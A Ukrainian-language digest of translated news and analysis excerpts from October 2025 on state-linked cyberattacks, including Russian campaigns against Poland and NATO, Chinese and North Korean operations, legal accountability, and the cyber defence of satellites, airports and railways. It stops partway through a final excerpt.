«Польща відбиває посилену російську кіберкампанію, яка зараз тисячі разів на день атакує її критичну інфраструктуру, повідомив Reuters міністр цифрових справ Кшиштоф Гавковський. Розвідка повідомляє, що військова розвідка Росії втричі збільшила ресурси, які вона виділяє на польські цілі в 2024 році, що сприяло зростанню кількості виявлених кіберінцидентів до приблизно 170 000 за перші дев'ять місяців року. Варшава щодня фіксує 2000–4000 ворожих атак, з яких 700-1000 є настільки серйозними, що вимагають безпосереднього реагування уряду. Хоча злочинці, які керуються фінансовими мотивами, залишаються активними, чиновники звинувачують російських акторів у найнебезпечніших операціях, які поширилися за межі систем водопостачання та водовідведення на енергетичний сектор… Найбільший окремий удар з початку війни в Україні стався 10 вересня, коли масштабна кібератака була синхронізована з російським рейдом дронів; пов'язані з Кремлем боти, які місяцями перебували в стані спокою, були реактивовані, щоб затопити польські мережі дезінформацією про те, що дрони були українськими. Москва заперечує свою причетність, але Варшава — один із найвідданіших союзників Києва в НАТО — вважає себе головним кіберщитом Росії в Альянсі». ***(Barbara Erling. Poland says cyberattacks on critical infrastructure rising, blames Russia // Reuters (https://www.reuters.com/technology/poland-says-cyberattacks-critical-infrastructure-rising-blames-russia-2025-10-10/). 10.10.2025).***

***

«Польща наразі перебуває на передовій нерегулярної війни, щодня витримуючи від 20 до 50 кібератак, спрямованих на її критичну інфраструктуру, включаючи лікарні та муніципальні системи. Хоча більшість атак блокується, постійні успішні вторгнення становлять довгострокову загрозу,

підриваючи довіру громадськості та безпеку, про що свідчать випадки виведення з ладу систем у лікарнях та проникнення в міські водопровідні мережі. Супротивники не прагнуть зруйнувати систему, а постійно підривають її стабільність, використовуючи кожну невдалу спробу як розвідку для виявлення слабких місць…

Незважаючи на виділення рекордного бюджету в розмірі 1 млрд євро на кібербезпеку до 2025 року, який в основному спрямований на водну інфраструктуру, одних лише грошей недостатньо для забезпечення стійкості, оскільки комунальні підприємства часто використовують застаріле програмне забезпечення і стикаються з нестачею персоналу. На думку експертів, рішення полягає не лише в посиленні брандмауерів, а й у створенні дублюючих систем, проведенні регулярних навчань з ліквідації наслідків надзвичайних ситуацій та зосередженні уваги на доктрині НАТО щодо безперервності виконання місій — мережі, яка може поглинати удари та швидко відновлюватися. Заявляти про перемогу лише тому, що більшість атак провалюються, небезпечно, оскільки одне порушення критично важливого комунального підприємства може переважати десятки інших, які було відвернено…

Оскільки Польща приймає війська НАТО і надає допомогу Україні, її стійкість має трансатлантичний характер. Ослаблена Польща підриває авторитет НАТО, тоді як стійка Польща може стати взірцем для Європи. Тому нинішній напад слід розглядати як каталізатор для зміцнення мереж, фінансування програм відновлення та перетворення вразливості на системну стійкість, що забезпечить здатність основних служб витримувати удари та швидко відновлюватися, щоб захистити громадян від наслідків для економіки, громадської безпеки та національної безпеки». ***(Emily Otto. Learning Polish Lessons From Russian Attacks // Center for European Policy Analysis (https://cepa.org/article/learning-polish-lessons-from-russian-attacks/). 14.10.2025).***

***

«Незважаючи на наявність необхідних інструментів, розвідки, технологій та людських ресурсів для протидії значній і зростаючій кіберзагрозі з боку таких держав, як Росія, роздроблена структура оборони Великобританії становить серйозну вразливість. Відсутність скоординованих спільних заходів реагування, що поєднують розвідку державного та приватного секторів, означає, що атаки, такі як нещодавні злом Marks & Spencer, Co-op та Harrods, стануть більш поширеними…

Росія, підбурювана відкритою підтримкою України з боку Великої Британії, безкарно атакує британські організації, включаючи критичну інфраструктуру, таку як Національна служба охорони здоров'я (NHS), у великому масштабі. Основною проблемою є не відсутність технічних можливостей, а відсутність спільної організаційної структури. Кіберзахист Великобританії ускладнюється через роз'єднаність агентств: GCHQ/SIS зосереджуються на міжнародній діяльності, Міністерство внутрішніх справ зосереджується на внутрішньому контррозвідці, а Національне агентство з боротьби зі злочинністю (NCA) та Національний підрозділ з боротьби з кіберзлочинністю (NCCU) мають обмежені оперативні можливості.

Така оперативна поляризація створює прірву, що заважає оперативно реагувати на безмежні загрози…

Ця структура різко контрастує з успішними міжнародними моделями, такими як Європейський центр з боротьби з кіберзлочинністю (EC3) Європолу. Хоча ФБР визнало необхідність активної взаємодії з галуззю, у Великобританії немає аналогічної структури та повноважень/ресурсів для створення британського еквівалента EC3. Приватний сектор, який володіє технічними знаннями та інформацією про загрози в режимі реального часу, готовий заповнити цю прогалину. Експерти стверджують, що уряд повинен визнати свою обмежену спроможність протистояти агресії з боку Росії та інших ворожих суб'єктів, щоб сприяти вирішенню проблеми за допомогою приватного сектора. Без комплексної стратегії та співпраці Велика Британія перебуває у значному невигідному становищі в інформаційній війні, особливо з огляду на те, що російські кіберзлочинці, озброєні штучним інтелектом, використовують величезні масиви даних проти британського ланцюга поставок, підриваючи національну безпеку та здатність країни до м'якого тиску». ***(Chris McGrath. Private Sector Must Shore up UK's Cyber Defense // Reed Exhibitions Ltd. (https://www.infosecurity-magazine.com/opinions/private-sector-uk-cyber/). 10.10.2025).***

***

«…У зв'язку із зростанням і посиленням кіберзагроз, особливо з боку Росії та Китаю, Міністерство оборони Нідерландів кардинально змінює свою кіберстратегію, переходячи від реактивного підходу до проактивної, превентивної позиції. Нова стратегія передбачає активне проникнення в системи ворожих хакерських угруповань з метою отримання інформації про їхню діяльність та нейтралізації потенційних кібератак до того, як вони будуть здійснені проти Нідерландів… Міністр оборони Рубен Брекельманс підкреслив, що це постійне, більш наступальне зобов'язання є необхідним для підтримання цифрової безпеки, заявивши, що в разі збройного конфлікту міністерство повинно бути здатним перешкоджати атакам і виводити з ладу кіберзасоби супротивника. Ця «Кіберстратегія оборони 2025», яка передбачає значні інвестиції як у персонал, так і в можливості, відповідає більш широким зусиллям НАТО щодо зміцнення колективної кіберзахисту шляхом збільшення виділення ресурсів на передові технології та посилення обміну інформацією між державами-членами». ***(New Defense Strategy: Proactive Approach to Cyber Threats // IO+ (https://ioplus.nl/en/posts/new-defense-strategy-proactive-approach-to-cyber-threats). 08.10.2025).***

***

«Новий аналіз, проведений компанією Microsoft, показує, що за останній рік кількість російських кібератак на країни НАТО зросла на 25% на тлі зростання геополітичної напруженості. Хоча Україна залишається основною ціллю Росії, всі інші країни з топ-10 найбільш уражених країн є членами НАТО, причому 20% цих атак припадає на США, за ними йдуть Велика Британія (12%) і Німеччина (6%)… На думку європейських чиновників, це розширення свідчить про

навмисну та ескалацію кампанії «гібридної війни». Перехід до більш широкого кола цілей, включаючи урядові установи (25% атак), дослідницькі групи та некомерційні організації/аналітичні центри, мотивований кібершпигунством, оскільки ці сектори мають розвідувальну цінність, пов'язану з війною в Україні. Крім того, російські актори все частіше націлюються на малі підприємства в країнах-союзниках України, розглядаючи їх як більш легкі «опорні точки» для отримання доступу до більших організацій…» ***(Anna Desmarais. Russian cyberattacks against NATO members up 25% in a year, analysis shows // euronews (https://www.euronews.com/next/2025/10/17/russian-cyberattacks-against-nato-members-up-25-in-a-year-analysis-shows). 17.10.2025).***

***

«Міжнародний комітет Червоного Хреста (ICRC) взяв участь у Глобальному форумі з кібербезпеки (GCF), щоб виступити за захист цивільного населення та важливих інфраструктур у разі використання технологій у військових цілях, прагнучи забезпечити застосування міжнародного гуманітарного права (IHL) до цифрової війни. Основним елементом зусиль ICRC є впровадження його новаторського «цифрового емблеми» — сучасного розширення червоного хреста/півмісяця, призначеного для сигналізації та захисту мереж і систем гуманітарних організацій від кібероперацій, так само як фізична емблема захищає медичні заклади в умовах конфлікту… Фахівці ICRC також взяли участь в обговоренні майбутнього кібердипломатії, наголосивши на необхідності приведення міжнародного права у відповідність до цифрових загроз та підкресливши зростаючу важливість діалогу між державами та приватним технологічним сектором. ICRC підкреслив, що конфлікти, які розгортаються «зі швидкістю натискання клавіші», не менш руйнівні, ніж фізичні атаки, що вимагає поширення гуманітарного захисту на цифрову сферу. Крім того, ICRC використав платформу GCF для зміцнення співпраці з лідерами Ради співробітництва країн Перської затоки, включаючи двосторонню зустріч з Національним органом з кібербезпеки Саудівської Аравії, з метою просування рішень, що підтримують IHL та зміцнюють глобальну кіберстійкість». ***(ICRC at GCF 2025: Putting the Humanitarian Voice at the Heart of Cybersecurity // International Committee of the Red Cross (ICRC) (https://www.icrc.org/en/article/icrc-gcf-2025-putting-humanitarian-voice-heart-cybersecurity). 14.10.2025).***

***

«Китайські кібератаки на урядові відомства Тайваню посилилися, збільшившись на 17% порівняно з 2024 роком до середнього показника 2,8 мільйона атак на день на урядову мережу цього року, згідно з даними Національного бюро безпеки Тайваню. Ці «системні кібератаки» націлені переважно на критичну інфраструктуру, включаючи медичні системи, оборону, телекомунікації та енергетику. Окрім крадіжки розвідданих, кампанія об'єднує даркнет, інтернет-форуми та медіаканали для поширення сфабрикованого контенту, спрямованого на підрив довіри громадськості до оборонних сил уряду…

Бюро попередило, що китайська «армія інтернет-тролів» використовує понад 10 000 «аномальних» акаунтів у соціальних мережах, зокрема у Facebook, для поширення понад 1,5 мільйона повідомлень, які вважаються дезінформацією. Китай залучив державні ЗМІ та свою армію тролів для критики тайванського уряду, просування прокитайських наративів та поширення недовіри до США, головного міжнародного союзника Тайваню. Крім того, у звіті наголошується на використанні штучного інтелекту для створення контенту у стилі «мемів», спрямованого на конкретні питання, такі як вибори на Тайвані та переговори про тарифи зі США, з кінцевою метою поглиблення внутрішніх розбіжностей на Тайвані. Хоча Китай регулярно заперечує свою причетність до хакерських атак, він стверджує, що є об'єктом тайваньських кібероперацій, і нещодавно запропонував винагороду за тайваньських офіцерів військової психологічної служби, які поширюють «сепаратистські» повідомлення». ***(Yimou Lee. Taiwan flags rise in Chinese cyberattacks, warns of 'online troll army' // Yahoo (https://uk.news.yahoo.com/taiwan-flags-rise-chinese-cyberattacks-081212259.html). 14.10.2025).***

***

«Домінік Каммінгс, колишній головний радник прем'єр-міністра Бориса Джонсона, заявив, що китайські кібершпигуни нібито «протягом багатьох років» отримували доступ до високорівневих систем безпеки Великобританії, компрометуючи «величезні обсяги» надзвичайно конфіденційної урядової інформації, що класифікується як «Strap». Каммінгс заявив, що він і Джонсон були проінформовані про це ймовірне порушення в 2020 році, стверджуючи, що серед скомпрометованих даних були матеріали розвідувальних служб і Секретаріату національної безпеки, що має «дуже, дуже серйозні наслідки»… Ця заява з'явилася після публікації відповідної статті в журналі The Spectator, в якій йшлося про те, що Кабінет міністрів розслідував порушення після того, як Пекін нібито придбав компанію, що управляє центром обробки даних, який використовується департаментами Уайтхолла для зберігання секретної інформації. Однак заяви Каммінгса були зустрінуті з великим скептицизмом і швидким спростуванням. Представник Кабінету міністрів чітко заявив, що твердження про те, що системи, які використовуються для зберігання найбільш конфіденційної інформації, були скомпрометовані, не відповідає дійсності. Крім того, професор Кіаран Мартін, колишній виконавчий директор Національного центру кібербезпеки Великобританії (NCSC), заперечив ці твердження як «категорично неправдиві» настільки, наскільки йому відомо, заявивши, що в 2020 році жодного такого розслідування NCSC не проводилося. Мартін підкреслив, що, хоча Китай є серйозною загрозою для кібербезпеки, згадані спеціальні системи високого рівня безпеки побудовані та функціонують інакше, ніж звичайні інтернет-системи, і зробив висновок, що доказів проникнення немає. Однак Каммінгс залишається готовим дати свідчення, якщо члени парламенту розпочнуть розслідування…» ***(Sead Fadilpašić. Secret information and classified UK government servers potentially accessed by Chinese hackers for over a decade // Future US, Inc. (https://www.techradar.com/pro/security/secret-information-and-classified-uk-***

government-servers-potentially-accessed-by-chinese-hackers-for-over-a-decade). 16.10.2025).

***

«У вівторок хакери успішно зламали системи гучного оповіщення (PA) у чотирьох регіональних аеропортах — трьох у Канаді та одному у США — щоб транслювати повідомлення, в яких вихваляли Хамас і критикували президента Дональда Трампа. Цільовими аеропортами були міжнародний аеропорт Келоуна та міжнародний аеропорт Вікторія у Британській Колумбії, міжнародний аеропорт Віндзор в Онтаріо та міжнародний аеропорт Гаррісбург у Пенсільванії. У всіх випадках, де були надані деталі, злом відбувався за допомогою стороннього або хмарного програмного забезпечення, яке використовується аеропортами, а не за допомогою основних систем аеропортів… В міжнародному аеропорту Вікторія хакери транслювали повідомлення іноземною мовою разом із музикою, перш ніж аеропорт перейшов на внутрішню систему, щоб відновити контроль. Аналогічно, у Віндзорі екрани з інформацією про рейси також були скомпрометовані несанкціонованим контентом. Влада, включаючи Королівську канадську кінну поліцію (RCMP), Канадський центр кібербезпеки, Федеральне управління цивільної авіації США (FAA) та міністра транспорту США, підтвердили ці інциденти та розпочали розслідування». ***(Hackers breach airport PA systems in Canada and US; broadcast pro-Hamas messages, criticise Trump // The Telegraph (https://www.telegraphindia.com/world/hackers-breach-airport-pa-systems-in-canada-and-us-broadcast-pro-hamas-messages-criticise-trump/cid/2128201#goog_rewarded). 17.10.2025).***

***

«Уряд Великобританії активно розслідує повідомлення про те, що російські хакери викрали та опублікували сотні конфіденційних військових документів у даркнеті. Міністерство оборони (MoD) підтвердило, що застосовує «рішучий та проактивний підхід до кіберзагроз», розслідуючи заяви про витік інформації, пов'язаної з MoD. За повідомленнями, у вересні кіберзлочинці зламали систему стороннього підрядника з технічного обслуговування та будівництва, якого використовує MoD, — Dodd Group… Викрадені файли нібито містять детальну інформацію про вісім баз Королівських ВПС та Королівського флоту, включаючи базу RAF Lakenheath, на якій розміщені стелс-літаки F-35 ВПС США, а також імена та електронні адреси співробітників Міністерства оборони. Цей інцидент став продовженням серії гучних випадків порушення безпеки даних в Міністерстві оборони, включаючи інцидент минулого року, коли було отримано доступ до системи нарахування заробітної плати, що потенційно зачепило до 272 000 військовослужбовців, особисті дані яких були викрадені, та інцидент 2022 року, коли чиновник ненавмисно видав інформацію про осіб, причетних до операції «Afghanistan Response Route». Міністерство оборони заявило, що не буде надавати додаткових коментарів щодо деталей, щоб захистити конфіденційну оперативну інформацію». ***(Sophie Huskisson. Ministry of Defence launches probe after Russian hackers 'put sensitive files on dark web' // Reach plc subsidiary***

(https://www.mirror.co.uk/news/politics/ministry-defence-launches-probe-after-36094184). 19.10.2025).

***

«Міністерство державної безпеки Китаю публічно звинуватило Агентство національної безпеки США (NSA) в організації кібератак на Національний центр часу, попередивши, що будь-які наслідки цих атак могли б порушити роботу важливої інфраструктури, включаючи мережеві комунікації, фінансові системи та енергопостачання. Згідно з повідомленням міністерства в WeChat, NSA нібито використовувала вразливості в сервісах обміну повідомленнями іноземного бренду мобільних телефонів у 2022 році, щоб викрасти конфіденційну інформацію з пристроїв співробітників центру… Крім того, міністерство стверджує, що в період з 2023 по 2024 рік американське агентство використовувало 42 типи «спеціальних засобів кібератаки» для атак на внутрішні мережеві системи центру та намагалося проникнути в ключову систему синхронізації часу. Хоча міністерство стверджує, що має докази цих тверджень, у публікації жодних доказів наведено не було. Національний центр часових послуг відповідає за генерацію та розподіл стандартного часу Китаю, а також за надання важливих послуг з синхронізації часу для таких секторів, як оборона, комунікації, фінанси, енергетика та транспорт. Китай назвав дії США лицемірними, заявивши: «США звинувачують інших у тому, що роблять самі, постійно роздуваючи заяви про китайські кіберзагрози», що може призвести до ескалації напруженості між Вашингтоном і Пекіном, які і без того перебувають у напружених відносинах через питання торгівлі, технологій і Тайваню. Посольство США не надало жодних коментарів щодо цих звинувачень». ***(China accuses U.S. National Security Agency of using 'special cyberattack weapons' to target time center // Fortune Media IP Limited (https://fortune.com/2025/10/19/china-us-national-security-agency-special-cyberattack-weapons-national-time-center/). 19.10.2025).***

***

«Нещодавно європейська телекомунікаційна організація стала об'єктом кібершпигунської кампанії, пов'язаної з китайською групою APT (Advanced Persistent Threat), відомою як Salt Typhoon (також ідентифікованою як Earth Estries, FamousSparrow, GhostEmperor та UNC5807)… Під час атаки, що відбулася в першому тижні липня 2025 року, зловмисники отримали початковий доступ, скориставшись вразливістю в пристрої Citrix NetScaler Gateway. Salt Typhoon, відомий з 2019 року своєю глибокою стійкістю та експлуатацією вразливостей безпеки в периферійних пристроях у понад 80 країнах, потім перейшов на хости Citrix Virtual Delivery Agent (VDA) і використовував SoftEther VPN для маскування. Ключовим компонентом атаки була доставка шкідливого програмного забезпечення Snappybee (ймовірний наступник ShadowPad), яке виконувалося за допомогою бічного завантаження DLL з використанням легальних виконуваних файлів антивірусного програмного забезпечення (таких як Norton і Bkav) для уникнення виявлення. Хоча шкідливе програмне забезпечення було розроблене для зв'язку із зовнішнім сервером C2, вторгнення було виявлено та

усунуто до подальшого поширення, що підкреслює, що Salt Typhoon залишається серйозною проблемою через свою прихованість, стійкість та здатність зловживати законними інструментами та інфраструктурою…» ***(Ravie Lakshmanan. Hackers Used Snappybee Malware and Citrix Flaw to Breach European Telecom Network // The Hacker News (https://thehackernews.com/2025/10/hackers-used-snappybee-malware-and.html). 21.10.2025).***

***

«Нова хвиля атак, що приписується північнокорейським зловмисникам і є частиною тривалої кампанії «Operation Dream Job», організованої групою Lazarus Group, наразі спрямована проти європейських оборонних компаній, з особливим акцентом на підприємствах, що працюють у секторі безпілотних літальних апаратів (БПЛА). Основною метою кампанії, яка розпочалася наприкінці березня 2025 року, є викрадення конфіденційної інформації та виробничих ноу-хау за допомогою сімейств шкідливого програмного забезпечення, таких як ScoringMathTea та MISTPEN. Серед цільових об'єктів — металообробні підприємства, виробники авіаційних компонентів та оборонні компанії в Центральній та Південно-Східній Європі…

Operation Dream Job характеризується використанням соціальних інженерних приманок, подібних до тактики Contagious Interview, коли цілям пропонують вигідні, але фальшиві вакансії, щоб змусити їх запустити шкідливе програмне забезпечення. Ланцюжок атак часто включає в себе документ-приманку з описом вакансії та троянізований PDF-переглядач, що призводить до запуску бінарного файлу, який завантажує шкідливу DLL. Цей процес в кінцевому підсумку запускає ScoringMathTea, просунутий троян для віддаленого доступу (RAT), і BinMergeLoader, складний завантажувач, який використовує Microsoft Graph API для отримання додаткових корисних даних і функціонує аналогічно MISTPEN. Група Lazarus відома своїм послідовним і ефективним способом дії, що полягає у троянізації відкритих програм і розгортанні свого улюбленого корисного навантаження ScoringMathTea. Ця стратегія використовує поліморфізм для уникнення виявлення, залишаючись при цьому притаманною групі…» ***(Ravie Lakshmanan. North Korean Hackers Lure Defense Engineers With Fake Jobs to Steal Drone Secrets // The Hacker News (https://thehackernews.com/2025/10/north-korean-hackers-lure-defense.html). 23.10.2025).***

***

«Зростання геополітичної напруженості посилює кібератаки, роблячи державні служби все більш вразливими, про що свідчать дорогі інциденти, такі як атаки програм-вимагачів, які паралізували служби Коста-Ріки, прикордонні системи Албанії та порушили роботу ірландської системи охорони здоров'я. Загроза посилюється через «демократизацію» кіберзлочинності за допомогою штучного інтелекту, а економічні збитки, за оцінками, до 2031 року зростуть до 265 мільярдів доларів на рік. Хоча держави традиційно реагують на такі інциденти шляхом діалогу, викриття та осуду, санкцій і порушення ланцюгів

постачання, все більшої популярності набуває недооцінений інструмент судового розгляду як засіб притягнення до відповідальності держав-жертв…

Міждержавні судові спори в міжнародних судах, таких як МС ООН, стикаються зі значними перешкодами, включаючи небажання держав погоджуватися на юрисдикцію третьої сторони, складність встановлення відповідальних за таємні кібероперації та тенденцію великих кібердержав характеризувати атаки як «зловмисні», а не «незаконні», щоб захистити свою оперативну свободу. Крім того, відсутність чіткої ясності щодо того, як міжнародне право застосовується до кіберпростору, створює ризик для держав, які ведуть судові спори. Однак для менш потужних держав-жертв судові спори є привабливою можливістю отримати компенсацію. Шляхи до відповідальності покращуються завдяки більш ефективному збиранню доказів та встановленню відповідальності, що потенційно може бути полегшено завдяки запропонованим незалежним механізмам з'ясування фактів або експертним групам. Договори з компромісними положеннями, такі як Монреальська конвенція (безпека польотів) або Конвенція ООН з морського права (підводні кабелі), також можуть слугувати юрисдикційною основою для позовів у випадках, коли кібердіяльність порушує зобов'язання за договорами. Крім того, регіональні суди з прав людини, такі як Європейський суд з прав людини, можуть заявити про свою юрисдикцію щодо кібероперацій, що порушують права, за умови, що можна встановити атрибуцію та юрисдикцію…

Окрім міждержавних позовів, окремих злочинців можна притягнути до відповідальності за національним та міжнародним кримінальним правом, хоча розслідування ускладнюються через розкиданість цифрових доказів по різних юрисдикціях, анонімність злочинців та питання імунітету або відмови від екстрадиції. Проте нещодавні успіхи, такі як операція «Кронос» проти групи хакерів LockBit та звинувачення США проти іноземних громадян, демонструють, що судове переслідування, часто в поєднанні з санкціями та операціями з дезорганізації, є дієвою стратегією… Нові договори, такі як Конвенція ООН про кіберзлочинність та рамкова угода ЄС про електронні докази, покликані полегшити транскордонні розслідування. Оскільки кібероперації стають все більш поширеними та руйнівними, цілком ймовірно, що кіберсправи незабаром з'являться в судовому процесі, оскільки жертви шукатимуть свого часу в суді». ***(Harriet Moynihan, Amal Clooney and Philippa Webb. Will Victims of Cyber Attacks Soon Get Their Day in Court? Options for Accountability for Cyber Attacks // Just Security (https://www.justsecurity.org/121741/options-accountability-cyber-attacks/). 20.10.2025).***

***

Створення та функціонування кібервійськ

«Сінгапур створив новий Центр цифрової оборони (DDH) в рамках Центру стратегічних інформаційно-комунікаційних технологій (CSIT) Міністерства оборони з метою посилення кіберзахисту країни від складних

груп Advanced Persistent Threat (APT), які, як правило, мають високу кваліфікацію і пов'язані з державою. Як оголосив міністр з питань національної безпеки К. Шанмугам, DDH надаватиме передові послуги з кібербезпеки всьому уряду, зосередившись на критичній інфраструктурі після більш ніж чотирикратного збільшення підозрюваних атак APT між 2021 і 2024 роками. Ця нагальність була підкреслена виявленням у липні APT UNC3886, що націлена на критичну інформаційну інфраструктуру Сінгапуру, яка, за попередженням міністра, може підірвати національну безпеку…

DDH буде використовувати спеціалізовані технічні знання, співпрацюючи з такими агентствами, як Агентство з кібербезпеки, для моніторингу та розслідування загроз за допомогою досліджень кіберзагроз, аналізу шкідливого програмного забезпечення (за допомогою системи ACUBE CSIT), проактивного пошуку загроз та створення «червоних команд» (імітація кібератак). Визнаючи, що кожен сектор, включаючи енергетику та охорону здоров'я, зараз покладається на цифрові мережі, Шанмугам наголосив на необхідності «посилити нашу цифрову оборону» проти APT, програм-вимагачів та шахрайства з використанням штучного інтелекту. Генеральний директор CSIT Даррен Тео підкреслив, що тісна співпраця з партнерами з галузі є надзвичайно важливою через величезний та глобально взаємопов'язаний характер цифрового простору, підтвердивши, що DDH слугуватиме платформою для обміну інформацією та нарощування потенціалу з метою захисту цифрової сфери Сінгапуру». ***(Natasha Ganesan. Singapore sets up digital defence unit to deal with threats to critical infrastructure // Mediacorp Pte Ltd. (https://www.channelnewsasia.com/singapore/singapore-digital-defence-critical-infrastructure-threats-csit-mindef-5408246). 17.10.2025).***

***

Кіберзахист критичної інфраструктури

«…У міру посилення залежності від комерційних супутникових груп найбільший кіберризик полягає не в орбіті, а в наземних системах, які їх контролюють і з'єднують — про це наочно свідчить злом російськими хакерами в 2022 році системи Viasat, що призвів до розриву військових зв'язків і виведення з ладу європейських вітрових турбін. Європа реагує на це щільним регуляторним «супутниковим парком». Існуючі правила, що вже діють — NIS2 (стійкість критичної інфраструктури), Закон про кіберстійкість (безпека за замовчуванням для всіх цифрових продуктів), переглянута Директива про відповідальність за продукцію (сувора відповідальність за недоліки програмного забезпечення) та Закон про штучний інтелект — накладають широкі обов'язки з кібербезпеки та відповідальності на кожен рівень ланцюжка створення вартості супутників. Запропонований Європейською комісією Закон ЄС про космос йде ще далі: він створює обов'язкову галузеву кібернетичну структуру, що вимагає вичерпної оцінки ризиків ланцюга поставок, встановлених заходів контролю та оперативного повідомлення про інциденти. Його екстериторіальне застосування означає, що будь-який оператор, який не є членом ЄС і продає космічні послуги в

Європі, — чи то американська мегаконстеляція, чи то британський постачальник наземних станцій — повинен буде відповідати стандартам Брюсселя, що фактично робить їх глобальними нормами…

Однак за межами ЄС космічне право все ще базується на договорах 1960-х років, в яких не передбачалося існування зловмисного коду. Неоднозначні положення про відповідальність держав та технічна складність встановлення авторства кібератаки створюють вакуум, який сприяє проксі-атакам і позбавляє жертв можливості звернутися до чітких правових засобів захисту. Тим часом супутникові системи подвійного призначення, такі як Starlink, стирають межу між комерційними активами та військовими цілями; руйнівна кібератака на одну з них може спровокувати геополітичну ескалацію…

Для компаній повідомлення є чітким: кіберстійкість більше не є витратами на адміністративні функції, а є ліцензією на діяльність — і потенційним джерелом міжнародного конфлікту. Щоб орієнтуватися в цій ситуації, необхідні стратегії безпеки за замовчуванням, дотримання вимог різних юрисдикцій та усвідомлення того, що юридична вага Космічного закону ЄС може незабаром сформувати практику космічної безпеки в усьому світі…» ***(Alexander Schmalenberger, Jo Joyce. Securing the final frontier: the new legal urgency of cyber security in space // Taylor Wessing (https://www.taylorwessing.com/en/interface/2025/space-legal-and-industry-frontiers/securing-the-final-frontier). 06.10.2025).***

***

«…Аеропорти швидко перетворюються з бетонних транзитних вузлів на високоінтегровані, керовані даними екосистеми, що базуються на біометрії, об'єктах з підтримкою Інтернету речей, автоматизованих системах обробки багажу та операціях, пов'язаних з хмарними технологіями. Ця цифровізація підвищує ефективність та покращує досвід пасажирів, але також розширює площу атаки на те, що зараз є критично важливою національною інфраструктурою. Успішне вторгнення може спричинити не лише затримку рейсів: воно може порушити глобальну торгівлю, розкрити конфіденційні дані або навіть поставити під загрозу життя людей.

Загрози розширюються на декількох фронтах. Багато аеропортів досі використовують застаріле обладнання та програмне забезпечення, яке більше не підтримується і не може бути оновлене, що створює легкі точки входу для зловмисників. Програми-вимагачі, які часто поширюються через фішинг, скомпрометований віддалений доступ або незахищені вразливості, поширюються по горизонталі, пошкоджують резервні копії та використовують шантаж з витоком даних. Внутрішні загрози, будь то зловмисні або просто недбалі, залишаються важкими для виявлення, оскільки вони використовують легітимні облікові дані. Слабка культура безпеки робить персонал вразливим до соціальних інженерних хитрощів, а недостатній фізичний захист може дозволити зловмисникам повністю обійти цифрові засоби захисту…

Тому для зменшення ризиків необхідна багаторівнева стратегія. Аеропорти повинні вести облік активів у режимі реального часу, поступово виводити з експлуатації або сегментувати застарілі системи та визначати пріоритетність

виправлень на основі оцінок ризиків. Сегментація мережі, незмінні офлайн-резервні копії, інструменти EDR (Виявлення та реагування на кінцевих точках), доступ з мінімальними привілеями та відпрацьовані плани реагування на інциденти допомагають зменшити збитки від програм-вимагачів. Модель нульової довіри, аналіз поведінки користувачів, рішення DLP та офіційна програма протидії внутрішнім загрозам допомагають виявляти та стримувати внутрішнє зловживання. Постійне навчання з підвищення обізнаності та імітаційні вправи з фішингу повинні інтегрувати кібербезпеку в більш широку культуру безпеки, а надійні засоби контролю за допомогою бейджів, біометричних даних та відеоспостереження забезпечують безпеку серверних приміщень та зон ОТ…

У майбутньому атаки на основі штучного інтелекту та можливі квантові експлойти ще більше підвищать ставки, але такі досягнення, як автономне реагування та верифікація на основі блокчейну, також обіцяють більшу стійкість. Зрештою, лише проактивна багаторівнева оборона, що поєднує технології, людей та фізичні засоби захисту, може забезпечити безпеку цифрових інтегрованих аеропортів в умовах постійно мінливого середовища ризиків…» ***(Trevor Strome. Cyber-security threats and mitigations in modern airports // Russell Publishing Limited (https://www.internationalairportreview.com/article/296099/cyber-security-threats-and-mitigations-in-modern-airports/). 06.10.2025).***

***

«Глобальна залізнична галузь переживає цифрову трансформацію, що зумовлена появою нових технологій, таких як автоматизована сигналізація, пристрої Інтернету речей та хмарні системи, які впроваджують нові цифрові послуги для покращення якості обслуговування пасажирів та операційної діяльності. Однак така зростаюча складність та взаємопов'язаність значно збільшують потенціал кіберзагроз, що створює ризик перебоїв у наданні послуг, витоку даних, фінансових втрат та шкоди репутації в усій важливій інфраструктурі. Залізничний сектор стикається із загрозами, спільними для всіх систем, що мають доступ до громадськості, включаючи дорогі атаки програм-вимагачів, вторгнення в ланцюги постачання з використанням вразливостей третіх сторін, порушення безпеки даних, спрямовані на конфіденційну інформацію, та фізичні вторгнення в мережі…

Для боротьби з цими ризиками залізнична галузь керується ключовими стандартами кібербезпеки та заходами уряду. До найважливіших нормативних документів належать Директива ЄС NIS2, яка застосовується до транспорту і вимагає суворого управління ризиками, реагування на інциденти та транскордонного співробітництва; загальний стандарт промислових систем управління EN 62443; та його адаптація до залізничного транспорту, EN 50701 (TS 50701), розроблена зацікавленими сторонами галузі. Крім того, Закон ЄС про кіберстійкість (CRA) підвищує стандарти для цифрових продуктів, що продаються в ЄС, вимагаючи від виробників впровадження «безпеки за замовчуванням» та обов'язкового виправлення вразливостей, покладаючи більшу відповідальність на залізничних операторів за оцінку оновлень безпеки та вдосконалення їхніх процесів управління змінами для забезпечення відповідності…

Поєднуючи проактивний моніторинг із структурованим плануванням модернізації, залізничні компанії можуть зміцнити свою інфраструктуру, яка стає дедалі більш підключеною, відповідати мінливим нормам і підтримувати надійне та стійке обслуговування, якого очікують пасажири». ***(Securing Rail Networks in a Connected Age: Cybersecurity Challenges & Solutions // Global Media Ltd (https://railway-news.com/securing-rail-networks-in-a-connected-age-cybersecurity-challenges-solutions/). 13.10.2025).***

***

«Критично важливі галузі, включаючи енергетику, логістику, фінанси та виробництво, стикаються з безпрецедентним сплеском кіберінцидентів, які переросли у серйозні стратегічні та національні проблеми безпеки, поширившись за межі ІТ-відділів на зали засідань та ланцюги поставок… У 2024 році 67% енергетичних, нафтових і газових організацій постраждали від програм-вимагачів, а витрати на відновлення склали в середньому 3,12 мільйона доларів, тоді як на Європу припадало приблизно чверть з 1600 публічно повідомлених інцидентів з програм-вимагачами у другому кварталі 2025 року. NCSC уряду Великої Британії відреагував на понад 200 «важливих для країни» інцидентів з вересня 2024 року, що свідчить про серйозність загрози.

Недавні атаки ілюструють прямий зв'язок між геополітикою та порушенням роботи фізичного світу: хакерська атака на Colonial Pipeline в США, паралізація портів Transnet в Південній Африці та серйозні інциденти у Великобританії, такі як зупинка виробництва на Jaguar Land Rover та порушення роботи аеропортів по всій Європі після атаки на систему реєстрації Collins Aerospace. Хвильовий ефект поширився на роздрібну торгівлю (Marks & Spencer, Harrods) і навіть на сферу освіти, де в результаті злом у мережі дитячих садків у Великобританії були викрадені дані про дітей, а шість із десяти середніх шкіл зазнали атак минулого року…

